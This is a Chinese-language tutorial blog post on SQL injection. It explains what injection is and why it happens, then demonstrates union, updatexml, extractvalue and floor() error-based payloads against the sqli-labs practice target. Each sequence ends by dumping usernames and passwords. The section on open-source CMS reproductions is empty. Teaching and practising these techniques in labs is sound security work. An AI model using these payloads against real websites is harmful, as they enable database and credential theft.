web安全-sql注入

sql注入

  • 一、sql注入概述
    • 1、什么是sql注入
    • 2、sql注入出现的原因
  • 二、sql注入危害
  • 三、sql注入类型
  • 四、sql注入演示
    • 0、注入前须知
    • 1、联合查询
    • 2、报错注入
      • (1)updatexml(1,1,1)
      • (2)extractvalue(1,1)
      • (3)floor()
    • 3、盲注
  • 五、开源网站sql注入复现
    • 1、cmseasy
    • 2、qibo
    • 3、discuz

一、sql注入概述

  SQL注入是Web层面最高危的漏洞之一,常年占据owasp排行榜前十的位置。
sql注入有一款非常好用的注入工具,叫做:sqlmap。有兴趣可以前往学习:web安全-sqlmap的使用

1、什么是sql注入

  它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2、sql注入出现的原因

  SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
  也是由于程序员水平参差不齐,导致很多垃圾代码产生,加上没有任何安全意识,导致sql注入等问题到处存在。

二、sql注入危害

  1、注入管理员账户密码,如果加密较弱,可以直接破解,登陆后台。
  2、注入root等mysql管理员账户密码,利用sqlmap等工具上传后门。
  3、通过注入可以轻松拖下用户信息,导致用户信息泄漏。
  3、sql注入造成个webshell后门上传,整个网站服务器都会沦陷

三、sql注入类型

  根据注入的反馈信息,我们大抵可以将sql注入类型分为以下几种:
web安全-sql注入_第1张图片
  本文中主要介绍:联合查询、报错注入、盲注。以及开源网站所存在的漏洞复现。

四、sql注入演示

0、注入前须知

  我们必须明白口口声声念叨的sql注入,到底是在干嘛!目的是什么!!
  首先我们注入是为了得到管理员账号密码,其次sql注入是对数据库进行的操作,因此要求我们对数据库要有一定的了解。有需要的小伙伴可以前往博客:web安全-mysql基础进行简单学习。
  这里我们简单介绍一下数据库的构造,以mysql为例。
  在数据库管理系统中默认有一个名为:information_schema的数据库;如下:
web安全-sql注入_第2张图片
  在这个数据库中,有一张表叫做:tables,它记录了整个数据库管理系统的信息,如下:
web安全-sql注入_第3张图片
  那么这张表有什么神奇之处呢?它有一列叫:table_schema,这一列记录了数据库管理系统的所有数据库的库名;它还有一列叫table_name,这一列记录了数据库管理系统所有数据库的表名;如下所示:
web安全-sql注入_第4张图片
  因此,我们的目的是找到管理员的账号密码。我们的操作过程就应该是:数据库管理系统中有一个数据库(information_schema),数据库中有一个表(tables)记录着所有数据库的各种信息,表里面有其中两个列(table_schema,table_name);所以先找到数据库、查这个数据库的所有表名、再查管理员表的所有列名,最后爆出数据获取用户名密码。
  总结一下:SQL注入总共分为四步:1、找库;2、找表;3、找列;4、出数据
  那接下来就让我们进入演环节!!!我们的演示以靶机第二关为目标,使用不同的手段进行注入。
  需要靶机或者下文中的开源网站包的小伙伴请点击自取进行学习:sql工具包

1、联合查询

  union,它用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据,由于我们的显示位只有一行,所以我们传参为:id=-1,使前面的查询为空,这样显示位显示的就是我们恶意语句的查询结果。
  尤其需要注意的是select之后的查询数量需要和表的列数量对应!

  数据库名

Payload:?id=-1 union select 1,2,database()--+ 

结果展示:
web安全-sql注入_第5张图片
  表名

Payload:?id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

结果展示:
web安全-sql注入_第6张图片
  列名

Payload:?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')--+

结果展示:
web安全-sql注入_第7张图片
  数据

Payload:?id=-1 union select 1,2,(select group_concat(username,'/',password) from users)--+

结果展示:
web安全-sql注入_第8张图片

2、报错注入

(1)updatexml(1,1,1)

  updatexml报错注入需要传个参数,废话不多,展示!!

  数据库名

Payload:?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

结果展示:
web安全-sql注入_第9张图片

  表名

Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

结果展示:
web安全-sql注入_第10张图片

  列名

Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+

结果展示:
web安全-sql注入_第11张图片

  数据

Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,'/',password) from users),0x7e),1)--+

结果展示:
web安全-sql注入_第12张图片

(2)extractvalue(1,1)

  extractvalue报错注入需要传个参数,废话不多,展示!!

  数据库名

Payload:?id=1 and extractvalue (1,concat(0x7e,database(),0x7e))--+

结果展示:
web安全-sql注入_第13张图片
  表名

Payload:?id=1 and extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+

结果展示:
web安全-sql注入_第14张图片

  列名

Payload:?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+

结果展示:
web安全-sql注入_第15张图片
  数据

Payload:?id=1 and updatexml(1,concat(0x7e,(select group_concat(username,'/',password) from users),0x7e),1)--+

结果展示:
web安全-sql注入_第16张图片

(3)floor()

  floor()报错注入得多说一点,不能直接展示了。
  首先是这四个关键字:count 、group by 、floor、rand。其中count 、group by就不再做过多赘述,web安全-mysql基础这篇博客中已经相对清楚地对他们进行了说明。
  这里主要说明floor、rand。首先floor()是向下取整,rand()是随机生成一个在0和1之间的数,rand(0)却是一个固定的数。如图:
web安全-sql注入_第17张图片
  那么我们将这两个函数组合,就有意想不到的效果,它会出现0、1两种情况。如图:
web安全-sql注入_第18张图片
  在四个函数的配合下,利用子查询就会产生主键冲突报错。
  数据库名

Payload:?id=1 and (select count( * ) from information_schema.tables group by concat(database(),floor(rand(0)*2)))--+

结果展示:
web安全-sql注入_第19张图片
  表名

单条出

Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema="security" limit 2,1),'-',floor(rand(0)*2)))--+

结果展示:
web安全-sql注入_第20张图片
  列名

单条出

Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 2,1),'-',floor(rand(0)*2)))--+

结果展示:
web安全-sql注入_第21张图片

  数据

单条出

Payload:?id=1 and (select count( * ) from information_schema.tables group by concat((select concat(username,':',password) from users limit 0,1),'-',floor(rand(0)*2)))--+

结果展示:
web安全-sql注入_第22张图片

3、盲注

  盲注分为时间盲注和布尔盲注,因为无回显,所以只能进行盲注。有能力可以自己写盲注脚本,也可以使用sqlmap。见博客:web安全-sqlmap的使用

五、开源网站sql注入复现

  需要开源网站包的小伙伴请点击自取进行学习:[sql工具包]。(https://blog.csdn.net/weixin_45873676/article/details/113423746)

1、cmseasy

2、qibo

3、discuz

  
  
  
  
  
  

  
  
  

你可能感兴趣的:(安全)